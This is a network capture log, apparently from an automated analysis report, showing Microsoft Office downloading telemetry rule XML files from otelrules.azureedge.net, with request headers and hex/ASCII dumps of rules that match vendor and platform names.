2024-11-17 23:27:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: cb83de39-501e-000a-5d97-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232724Z-164f84587bfrrmqdhC1DFWvu6s00000003ng0000000066hm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:25 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:24 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:24 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f08eb9b9-301e-0000-60ae-37eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232724Z-164f84587bfghdt4hC1DFWu5nn00000004u0000000007ky7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:25 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:25 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 8417a631-c01e-00a2-12c6-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232725Z-1866b5c5fbbxjblthC1DFW6b4800000002vg00000000p3v1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:25 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 45d643d4-001e-0066-6189-38561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232725Z-16547b76f7f6nr89hC1DFWz7ug000000017g00000000ng71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 23:27:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:25 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:25 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232725Z-16547b76f7fsq6p7hC1DFWfx6800000003gg000000002raq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:25 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:25 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232725Z-16547b76f7fpdsp9hC1DFW8f5000000002fg00000000m95c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:25 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:25 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232725Z-16547b76f7fsq6p7hC1DFWfx6800000003h00000000015zb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:25 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:26 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:26 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 373f0e0b-901e-008f-80b0-3767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232726Z-16547b76f7fgfpmjhC1DFWw6ec000000049g00000000syhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:26 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:26 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:26 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232726Z-16547b76f7fz92z5hC1DFWmdx8000000035g00000000q37r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:26 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:26 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:26 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d2131438-301e-006e-59dc-37f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232726Z-164f84587bfs5tz9hC1DFW9a3w000000054g000000003q9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:26 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:26 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232726Z-16547b76f7fwm7vghC1DFW900s00000002kg00000000ax5w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:26 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:26 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232726Z-16547b76f7fffb7lhC1DFWdsxg000000052000000000m8pa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:26 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

